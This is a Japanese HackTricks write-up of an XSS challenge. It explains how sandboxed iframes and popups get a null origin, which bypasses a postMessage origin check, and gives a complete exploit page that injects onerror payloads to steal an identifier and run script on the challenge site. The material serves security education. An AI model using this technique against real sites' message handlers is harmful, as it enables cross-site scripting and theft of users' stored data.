SOPをIframesでバイパスする - 1
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
SOP-1におけるIframes
このチャレンジはNDevTKとTerjanqによって作成され、あなたはコーディングされたXSSを悪用する必要があります。
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
主な問題は、メインページがDomPurifyを使用してdata.bodyを送信するため、独自のHTMLデータをそのコードに送信するには、e.origin !== window.originをバイパスする必要があることです。
提案されている解決策を見てみましょう。
SOPバイパス 1 (e.origin === null)
//example.orgがサンドボックス化されたiframeに埋め込まれると、ページのオリジンは**nullになります。つまり、window.origin === nullです。したがって、<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">を介してiframeを埋め込むだけで、nullオリジンを強制**することができます。
ページが埋め込み可能であれば、その方法でその保護をバイパスできます(クッキーもSameSite=Noneに設定する必要があるかもしれません)。
SOPバイパス 2 (window.origin === null)
あまり知られていない事実は、サンドボックス値allow-popupsが設定されている場合、開かれたポップアップはすべてのサンドボックス属性を継承することです。ただし、allow-popups-to-escape-sandboxが設定されていない限りです。
したがって、nullオリジンからポップアップを開くと、ポップアップ内の**window.originもnull**になります。
チャレンジ解決策
したがって、このチャレンジのために、iframeを作成し、脆弱なXSSコードハンドラー(/iframe.php)を持つページにポップアップを開くことができます。window.origin === e.originのため、両方がnullであるため、XSSを悪用するペイロードを送信することが可能です。
そのペイロードは識別子を取得し、XSSをトップページ(ポップアップを開いたページ)に戻します。そのページは、脆弱な/iframe.phpにロケーションを変更します。識別子が知られているため、window.origin === e.originの条件が満たされないことは問題ではありません(オリジンはオリジンが**nullのiframeからのポップアップ**です)なぜなら、data.identifier === identifierだからです。次に、XSSが再びトリガーされます。今度は正しいオリジンで。
<body>
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks